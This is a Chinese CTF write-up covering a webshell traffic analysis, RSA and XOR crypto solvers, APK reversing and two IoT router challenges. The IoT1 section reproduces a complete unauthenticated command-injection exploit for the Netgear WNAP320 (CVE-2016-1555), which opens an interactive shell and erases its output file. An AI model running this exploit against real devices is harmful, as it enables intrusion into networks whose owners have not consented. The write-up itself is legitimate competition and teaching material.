VIVO千镜杯writeup
0x21战队WRITEUP
战队信息
战队名称:0x21
解题情况
解题过程
Misc
签到题
签到题有手就行
flag
flag{6b92a6a3a8d6d422c78a4c6304f06eea}
黑客入侵
打开流量包,发现上传的php。全部导出。在最后发现上传的php文件名称。
通过流量判断是哥斯拉流量,但是写了gesila发现flag错误。查了百度才知道是godzilla。
随便找一个上传的马的php文件都可以看到靶机和端口。
最后exp:
import hashlib
mm = "192.168.68.128:9080+tlswslhaoev4lva.php+godzilla"
flag_2 = "flag{" + hashlib.md5(mm.encode()).hexdigest() + "}"
print(flag_2)
flag
flag{fe7c3416a2ace0d97e4029e77368c5ab}
Crypto
safe_chat_db
DwonUnderCTF2021原题。
github找了exp直接打。但是一直不出,最后把后面这几个if “flag” in message: break注释掉,就出了。
github链接:Challenges_2021_Public/attack.py at main · DownUnderCTF/Challenges_2021_Public (github.com)
exp
import sys
import sqlite3
import itertools
from math import gcd
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
db = sys.argv[1] if len(sys.argv) > 1 else './enc_chall.db'
cur = (conn := sqlite3.connect(db)).cursor()
cur.execute("SELECT * FROM User;")
users = [(name, RSA.importKey(k)) for name, k in cur]
for (an, ak), (bn, bk) in itertools.combinations(users, 2):
if (p := gcd(ak.n, bk.n)) > 1:
break
print(an, bn)
ak = RSA.construct((ak.n, 65537, pow(65537, -1, (p - 1) * ((q := (ak.n // p)) - 1)), p, q))
bk = RSA.construct((bk.n, 65537, pow(65537, -1, (p - 1) * ((q := (bk.n // p)) - 1)), p, q))
for user, rsa_key in [(an, ak), (bn, bk)]:
oaep = PKCS1_OAEP.new(rsa_key)
cur.execute('''
SELECT
Conversation.id,
initiator,
peer,
encrypted_aes_key_for_initiator,
encrypted_aes_key_for_peer,
iv
FROM Conversation
INNER JOIN Parameters
ON Parameters.id = Conversation.initial_parameters
WHERE initiator = ? OR peer = ?;
''', (user, user))
for cid, initiator, peer, initiator_key, peer_key, iv in cur.fetchall():
print(f"{
cid}: {
initiator} & {
peer}")
attribute = ""
aes = None
if initiator == user:
attribute = "encrypted_aes_key_for_initiator"
aes = AES.new(oaep.decrypt(initiator_key), AES.MODE_CBC, iv=iv)
else:
attribute = "encrypted_aes_key_for_peer"
aes = AES.new(oaep.decrypt(peer_key), AES.MODE_CBC, iv=iv)
cur.execute('''
SELECT
encrypted_message,
from_initiator,
''' + f"{
attribute}, " + '''
iv
FROM Message
INNER JOIN Parameters
ON Parameters.id = next_parameters
WHERE conversation = ?
ORDER BY
timestamp ASC;
''', (cid,))
for message, from_initiator, key, iv in cur.fetchall():
print(f"{
[peer, initiator][from_initiator]}:", message := unpad(aes.decrypt(message), AES.block_size).decode())
# if "flag" in message:
# break
aes = AES.new(oaep.decrypt(key), AES.MODE_CBC, iv=iv)
# if "flag" in message:
# break
# if "flag" in message:
# break
conn.close()
flag
flag{3237a6f9fe1e96155a1d73b4afaf624c}
贰步
这个题就比较离谱了。发现第一步是个txt,第二步是个压缩包。第一步网上有个脚本,类似于actf的magicnum题,但又不一样。这里把得到的数字转字节,得到压缩包的解压密码
from Crypto.Util.number import long_to_bytes
from libnum import*
import struct
import binascii
s = [2.62564299192e-06,1.04885682362e-08,6.70158373239e-10,2.62219801428e-09,2.65526978183e-06,2.65544508693e-06,4.29620995419e-05,1.05481356982e-08,4.21880024248e-08]
a = b''
b = b''
for i in s:
a += struct.pack('<f',i) #小端
print(a)
for j in s:
b += struct.pack('>f',j) #大端
print(b)
print(long_to_bytes(a))
print(long_to_bytes(b))
# b'440661424680224101263426424817523253'
# b'604424160864142262106243842425713523'
# b"T\xdeI ;zF\x94\xab\x86\x0f\n'\x1a5"
# b'thisispasswdsss'
解压压缩包。得到一个密码题,是De1ctf2019的xor的原题,链接:De1CTF-2019部分wp_CTF小白的博客-CSDN博客,直接拿exp来跑。这里需要把salt改成压缩包的密码。cc的值改成txt中的cc,即:
import string
from binascii import unhexlify, hexlify
from itertools import *
def bxor(a, b): # xor two byte strings of different lengths
if len(a) > len(b):
return bytes([x ^ y for x, y in zip(a[:len(b)], b)])
else:
return bytes([x ^ y for x, y in zip(a, b[:len(a)])])
def hamming_distance(b1, b2):
differing_bits = 0
for byte in bxor(b1, b2):
differing_bits += bin(byte).count("1")
return differing_bits
def break_single_key_xor(text):
key = 0
possible_space = 0
max_possible = 0
letters = string.ascii_letters.encode('ascii')
for a in range(0, len(text)):
maxpossible = 0
for b in range(0, len(text)):
if(a == b):
continue
c = text[a] ^ text[b]
if c not in letters and c != 0:
continue
maxpossible += 1
if maxpossible > max_possible:
max_possible = maxpossible
possible_space = a
key = text[possible_space] ^ 0x20
return chr(key)
salt = "thisispasswdsss"
si = cycle(salt)
b = unhexlify(b'5e79372b2d2e67302322633068647f782f6230383f7d68246b353265657e25292a3530382e3d633966372239652a7b6a2e2764213773353a343039657b74712d63242378292a337d202322232a3c7a6e316133276533080f2a3721272b7f3f616738206a213d3d6a2b357c27702d3665387837373965702e6c2a38247f363f36303129323427206d2a3d2e3c312e6a312335312c2a633e713e2b3c3c3270232e61752424256c167c623d292d232a7363306364226c7f603f3d6520393162273330352a3f363564272d30392e312b6f7e35312c3e716367233b77253067213b287c222c392c30232c7032286e682b36722a7f3037236e363925216e267e3625292b3d2b346f421f246236382f3129746b3666362a246035036f21272c7d74703a7e3c650073382d20326626267a7f6d7d377f227f6b5e7f7d3f2d2f6267692a3567293e26246f2722276621387964656261652d2f23697b2d6b35382b792c3f2a6762352b242d3127207d322c2b34676c2f783331651d4125357f3e367c7079357827266a2c32633b37332f24772f3665276d21306b797d70273024212377252127362d2f66273f33782922787830326a2d7f236a192d76312623782a64667c2e7e6236393e6b3d2220262e25617379776262373c6b6b7c3b2a316a266a732a2c3736396a37222030366a633c7f2036662c79372c2e70272732612b2a68772b3f2a3637382d2c232266252f2f31346467266e362e3c64662b2f652523367a3e33662635782d2e212b2b28206d6727367f307335286b7c6c6a262423272b7771326731376a2432206a322d3d3e742a38')
plain = ''.join([hex(ord(c) ^ ord(next(si)))[2:].zfill(2) for c in b.decode()])
b = unhexlify(plain)
print(plain)
normalized_distances = []
for KEYSIZE in range(2, 40):
# 我们取其中前6段计算平局汉明距离
b1 = b[: KEYSIZE]
b2 = b[KEYSIZE: KEYSIZE * 2]
b3 = b[KEYSIZE * 2: KEYSIZE * 3]
b4 = b[KEYSIZE * 3: KEYSIZE * 4]
b5 = b[KEYSIZE * 4: KEYSIZE * 5]
b6 = b[KEYSIZE * 5: KEYSIZE * 6]
normalized_distance = float(
hamming_distance(b1, b2) +
hamming_distance(b2, b3) +
hamming_distance(b3, b4) +
hamming_distance(b4, b5) +
hamming_distance(b5, b6)
) / (KEYSIZE * 5)
normalized_distances.append(
(KEYSIZE, normalized_distance)
)
normalized_distances = sorted(normalized_distances, key=lambda x: x[1])
for KEYSIZE, _ in normalized_distances[:5]:
block_bytes = [[] for _ in range(KEYSIZE)]
for i, byte in enumerate(b):
block_bytes[i % KEYSIZE].append(byte)
keys = ''
try:
for bbytes in block_bytes:
keys += break_single_key_xor(bbytes)
key = bytearray(keys * len(b), "utf-8")
plaintext = bxor(b, key)
print("keysize:", KEYSIZE)
print("key is:", keys, "n")
s = bytes.decode(plaintext)
print(s)
except Exception:
continue
得到一串字符:
这里交上去flag不对。但是看txt中代码,flag去掉flag{},确实是32位。所以是这个,但是>被替换掉了。这里对这个进行测试,最后fuzz得,需要把>改成0。
flag
flag{c16928791549b7eb1b708df98696be82}
移动安全
探囊取物
1、将apk文件改为zip文件
2、解压获取class.dex文件
3、利用dex2jar工具获得classes-dex2jar.jar文件
4、jd-jui打开jar文件
5、下面是jar文件
package com.ctf.crkackertwo;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends Activity {
public Button btn_register;
public EditText edit_sn;
private int[] test = new int[] {
118, 105, 118, 111, 78, 101, 101, 100, 89, 111,
117 };
public boolean checkSN(String paramString) {
boolean bool = false;
if (paramString == null)
return false;
try {
if (paramString.length() == 0)
return false;
int j = this.test.length;
for (int i = 0;; i++) {
if (i < j) {
if (this.test[i] != paramString.charAt(i))
return false;
} else {
i = paramString.length();
j = this.test.length;
if (i <= j)
bool = true;
return bool;
}
}
} catch (Exception exception) {
exception.printStackTrace();
return false;
}
}
public void onCreate(Bundle paramBundle) {
super.onCreate(paramBundle);
setContentView(2130968576);
this.edit_sn = (EditText)findViewById(2130903041);
Button button = (Button)findViewById(2130903040);
this.btn_register = button;
button.setOnClickListener(new View.OnClickListener() {
public void onClick(View param1View) {
MainActivity mainActivity = MainActivity.this;
if (!mainActivity.checkSN(mainActivity.edit_sn.getText().toString())) {
Toast.makeText((Context)MainActivity.this, 2131099656, 0).show();
return;
}
Toast.makeText((Context)MainActivity.this, 2131099654, 0).show();
MainActivity.this.btn_register.setEnabled(false);
MainActivity.this.setTitle(2131099652);
}
});
}
}
6、分析checkSN函数
将输入的字符串转为数字与test数组比较
由此可以知道将test数组转为对应的ASCII码就可以了
private int[] test = new int[] {
118, 105, 118, 111, 78, 101, 101, 100, 89, 111,
117 };
这个数组就是要输入的注册码,根据ASCII表将这个数组转为对应的字符
- vivoNeedYou
7、将其输入apk运行,显示注册成功
flag
flag{vivoNeedYou}
IOT
IOT1
打开发现是WNAP320,网上搜索历史漏洞,得到一个rce:CVE-2016-1555,链接:https://www.seebug.org/vuldb/ssvid-99281
这里直接用poc来打,但是发现固件得文件地址变了。
这里只需要换一个地址即可,把boardDataWW.php改成boardDataNA.php,得到交互shell。
cat /f*得到flag
payload
# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
# Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# IoT Device: Netgear WNAP320 Access Point
# Version: WNAP320 Access Point Firmware v2.0.3
import requests
import sys
if(len(sys.argv) != 2):
print('Must specify the IP parameter')
print("eg: python3 wnap320_v2_0_3.py <IP>")
sys.exit(0)
host = sys.argv[1]
port = 80
cmd = ''
while(True):
cmd = input('Shell_CMD$ ')
#injecting system command part writing the command output to a output file
data = {
'macAddress' : '112233445566;' + cmd + ' > ./output #',
'reginfo' : '0',
'writeData' : 'Submit'
}
url = 'http://' + host + '/boardDataNA.php'
response = requests.post(url, data=data)
if(response.ok):
#read the command output result
url = 'http://' + host + '/output'
cmdOutput = requests.get(url)
print(cmdOutput.text)
#remove trace
cmd = 'rm ./output'
data = {
'macAddress' : '112233445566;' + cmd + ' #',
'reginfo' : '0',
'writeData' : 'Submit'
}
url = 'http://' + host + '/boardDataNA.php'
response = requests.post(url, data=data)
else:
print('[!] No response from the server.')
flag
flag{997dfadf4df0ed3a84152f46d90d37f1}
IOT2
CVE-2019–17621。
D-Link DIR-859的RCE漏洞(CVE-2019–17621)_NOSEC2019的博客-CSDN博客
这里直接用poc打,telent链接即可。
flag
flag{57b3d30598679ae0f7451e3ec3fd42e8}